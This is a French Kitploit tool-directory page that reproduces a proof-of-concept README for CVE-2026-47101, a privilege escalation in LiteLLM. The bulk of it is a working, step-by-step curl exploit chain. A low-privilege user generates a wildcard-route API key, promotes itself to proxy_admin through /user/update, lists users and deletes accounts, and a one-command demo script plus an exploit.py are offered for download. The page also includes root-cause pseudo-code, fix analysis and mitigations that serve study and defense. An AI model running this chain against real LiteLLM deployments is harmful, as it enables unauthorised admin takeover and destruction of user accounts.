Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-47101-PoC — Le code pour reproduire personnellement la vulnérabilité correspondante | Kitploit
Outils/GitHubGitHub/learner202649/cve-2026-47101-poc
Authentification et AutorisationEscalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APITests d'IntrusionMauvaise ConfigurationApprentissage et ÉducationLabs et Pratique
GitHub
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
learner202649/cve-2026-47101-poc

CVE-2026-47101-PoC

Le code pour reproduire personnellement la vulnérabilité correspondante

Voir le dépôt

CVE-2026-47101 — Élévation de privilèges LiteLLM via /key/generate + /user/update

LiteLLM v1.82.6 (versions antérieures à 1.83.14) : le point de terminaison /key/generate permet à un internal_user disposant de faibles privilèges de demander une clé API avec une route générique ["/*"], puis d'élever son propre rôle en proxy_admin via le point de terminaison /user/update, réalisant ainsi une élévation de privilèges non autorisée.

ChampValeur
CVECVE-2026-47101
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization)
AffectéLiteLLM < 1.83.14 (confirmé sur v1.82.6)
Corrigév1.83.14+ (nouvelle validation des rôles pour allowed_routes)
Publié2026-05-21
Découvert parFenix Qiao (13ph03nix) — Obsidian Security
LiensNVD

Description

Le point de terminaison /key/generate de LiteLLM sert à générer des clés API, et /user/update à mettre à jour les attributs utilisateur. Les contrôles d'autorisation de ces deux points de terminaison présentent trois défauts cohérents qui peuvent être enchaînés par un utilisateur à faibles privilèges :

  1. /key/generate ne valide pas allowed_routes — tout rôle (y compris internal_user) peut demander une route générique ["/*"]
  2. Le contrôle de route retombe sur la correspondance générique allowed_routes — la clé générique générée peut accéder à tous les points de terminaison d'administration
  3. /user/update autorise l'auto-modification du champ user_role — en exploitant la clé générique, un utilisateur peut élever son propre rôle en proxy_admin

Chaîne d'attaque

root@kitploit:~
internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  obtient une clé API générique
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  élévation du rôle en proxy_admin
  →  GET  /user/list     (avec la clé générique)
  →  vérification de l'accès administrateur

Preuve de concept

Préparation de l'environnement

root@kitploit:~
# 1. Démarrer PostgreSQL + LiteLLM vulnérable (v1.82.6, digest épinglé)
docker compose up -d litellm

# Attendre que le service soit prêt (environ 10-30 secondes)
sleep 15

Vérifier que le service fonctionne

root@kitploit:~
# Examiner les journaux du conteneur
docker logs litellm-privesc 2>&1 | tail -10

La sortie attendue doit contenir des journaux de démarrage réussis tels que Uvicorn running on http://0.0.0.0:4000.

Étape 1 : Créer un compte internal_user

Utiliser la clé master pour créer un compte internal_user à faibles privilèges :

root@kitploit:~
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Sortie attendue :

root@kitploit:~
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Noter les valeurs user_id et key renvoyées ; elles seront nécessaires pour les étapes suivantes.

Étape 2 : Générer une clé API avec route générique

En tant qu'internal_user, appeler /key/generate en demandant une clé API avec la route générique ["/*"] :

root@kitploit:~
# remplacer sk-internal-user-key par la clé obtenue à l'étape précédente
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Sortie attendue :

root@kitploit:~
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ Point vulnérable : l'internal_user a réussi à générer une clé API avec la route générique ["/*"] ! Cette clé peut accéder à tous les points de terminaison d'administration, y compris /user/update, /user/list, etc.

Étape 3 : Élévation de privilèges en proxy_admin

Utiliser la clé à route générique pour appeler /user/update et élever le rôle de l'utilisateur en proxy_admin :

root@kitploit:~
curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Sortie attendue :

root@kitploit:~
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Point vulnérable : user_role est passé de internal_user à proxy_admin ! Le point de terminaison /user/update permet à un utilisateur de modifier son propre champ user_role, sans aucune restriction de droits.

Étape 4 : Vérifier l'accès administrateur

Vérifier que l'élévation de rôle a pris effet via le point de terminaison /user/list :

root@kitploit:~
curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

Sortie attendue :

root@kitploit:~
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

Le point de terminaison /user/list n'autorise que le rôle proxy_admin. L'obtention réussie de la liste des utilisateurs confirme que l'élévation de privilèges a pris effet.

Étape 5 : Extension — Supprimer un utilisateur administrateur

En exploitant les privilèges proxy_admin obtenus, il est possible de supprimer n'importe quel utilisateur via /user/delete :

root@kitploit:~
curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Sortie attendue :

root@kitploit:~
1

Reproduction en une commande

Les étapes ci-dessus sont regroupées dans demo.sh, exécutable directement :

root@kitploit:~
# Reproduction complète (étapes 1 à 5 incluses)
bash demo.sh

# Test de comparaison avec la version corrigée
bash demo.sh --fixed

Vérification de la version corrigée

Démarrer la version corrigée (v1.83.14-stable) pour vérifier que la vulnérabilité a été corrigée :

root@kitploit:~
# Démarrer la version corrigée
docker compose --profile fixed up -d litellm-fixed

# Attendre que le service soit prêt
sleep 15

Créer un internal_user :

root@kitploit:~
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

Tenter de générer une clé avec route générique (blocage attendu) :

root@kitploit:~
curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Sortie attendue (la version corrigée bloque la requête non autorisée) :

root@kitploit:~
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

Comparaison avec la version vulnérable :

Scénario de testVersion vulnérable (v1.82.6)Version corrigée (v1.83.14)
internal_user demande

Points de terminaison vulnérables

POST /key/generate

Génère une nouvelle clé API. Le paramètre allowed_routes sert à limiter la liste des routes auxquelles la clé peut accéder.

ChampTypeRequisDescription
allowed_routesarrayNonListe des routes autorisées, ex. ["/*"] pour toutes les routes

POST /user/update

Met à jour les attributs utilisateur, y compris le champ user_role.

ChampTypeRequisDescription
user_idstringOui

Technique d'exploitation

Étape 1 : Générer une clé API avec route générique

En tant qu'internal_user, appeler /key/generate en demandant une clé avec ["/*"] :

root@kitploit:~
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}

La réponse contient la nouvelle clé API, qui dispose d'un accès à toutes les routes.

Étape 2 : Élever le rôle en proxy_admin

Utiliser la clé générique pour appeler /user/update :

root@kitploit:~
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

Étape 3 : Vérifier les privilèges administrateur

root@kitploit:~
GET /user/list
Authorization: Bearer sk-wildcard-key

Analyse de la cause racine

La vulnérabilité provient de trois contrôles d'autorisation manquants et indépendants :

1. /key/generate — Absence de validation du rôle pour allowed_routes

Le point de terminaison /key/generate accepte le paramètre allowed_routes et l'associe directement à la clé, sans valider le rôle du demandeur. Même un internal_user peut demander des autorisations de routes de niveau administrateur.

root@kitploit:~
# Pseudo-code vulnérable — rôle non validé
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
    # Seule la validité de la clé API est vérifiée
    # Aucune vérification que user_role autorise la demande d'allowed_routes
    allowed_routes = params.get("allowed_routes", [])
    new_key = create_key(user=user, allowed_routes=allowed_routes)
    return {"key": new_key}

2. Repli de l'autorisation de route sur la correspondance générique allowed_routes

Lors du contrôle des autorisations de route, si la vérification au niveau du rôle utilisateur échoue, l'intergiciel retombe sur la vérification de la liste allowed_routes de la clé API. Comme ["/*"] correspond à toutes les routes, tous les points de terminaison d'administration sont autorisés.

root@kitploit:~
# Pseudo-code vulnérable — logique de repli du contrôle de route
async def authorize_request(request, api_key):
    # Repli sur allowed_routes après échec de la vérification du rôle utilisateur
    if not user_role_authorized(request, api_key.user):
        # Vérification de allowed_routes — ["/*"] correspond à tout
        if not any(match_route(route, request.path) for route in api_key.allowed_routes):
            return HTTP_403
    return HTTP_200

3. /user/update — Auto-modification autorisée de user_role

Lors de la mise à jour des attributs utilisateur, le point de terminaison /user/update permet à l'utilisateur de modifier son propre champ user_role, sans restriction. Seul le rôle proxy_admin devrait avoir le droit de modifier le rôle d'un utilisateur.

root@kitploit:~
# Pseudo-code vulnérable — modification de user_role non restreinte
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
    user_id = params.get("user_id")
    updates = {}
    if "user_role" in params:
        updates["user_role"] = params["user_role"]  # Aucune vérification de droits !
    update_user_in_db(user_id, updates)
    return {"user_id": user_id, "data": updates}

Analyse du correctif (v1.83.14)

La version corrigée ajoute des contrôles d'autorisation dans les trois domaines suivants :

  1. /key/generate — Ajout de la validation du paramètre allowed_routes : les utilisateurs ordinaires ne peuvent pas demander des autorisations de routes de niveau administrateur
  2. Autorisation de route — Correction de la logique de repli, garantissant que le contrôle du rôle utilisateur a priorité sur allowed_routes
  3. /user/update — Restriction de la modification du champ user_role : seul proxy_admin peut modifier le rôle d'un utilisateur

Structure du dépôt

root@kitploit:~
CVE-2026-47101/
├── README.md                               # Ce fichier
├── CVE-2026-47101_漏洞复现报告.docx          # Rapport de reproduction (chinois)
├── docker-compose.yml                      # PostgreSQL + LiteLLM vulnérable/corrigé
├── config.yaml                             # Configuration LiteLLM avec connexion à la base de données
├── requirements.txt                        # Dépendances Python
├── demo.sh                                 # Script de reproduction en une commande
├── exploit/
│   ├── exploit.py                          # Script d'exploitation Python
│   └── payload.py                          # Générateurs de charges utiles
├── docs/
└── screenshots/

Mesures d'atténuation

  1. Mettre à niveau vers LiteLLM v1.83.14+ (contrôles d'autorisation corrigés)
  2. Restreindre les privilèges des clés API — appliquer le moindre privilège pour allowed_routes
  3. Auditer les utilisateurs et clés existants à la recherche de signes d'élévation de privilèges
  4. Surveiller les appels /user/update avec des modifications de user_role pour détecter toute activité anormale

Références

  • Détail NVD
  • Avis de sécurité GitHub
  • Avis de sécurité Obsidian

Avertissement : Ce contenu est fourni uniquement à des fins éducatives et pour des tests de sécurité autorisés.

Télécharger l’outil
["/*"]
✅ Génération réussie de la clé générique
❌ Bloqué (HTTP 403)
La clé générique modifie user_role✅ Élévation réussie en proxy_admin❌ Bloqué
La clé générique accède à /user/list✅ Obtention réussie de la liste des utilisateurs❌ Bloqué
ID de l'utilisateur à mettre à jour
user_rolestringOuiNouveau rôle (ex. proxy_admin)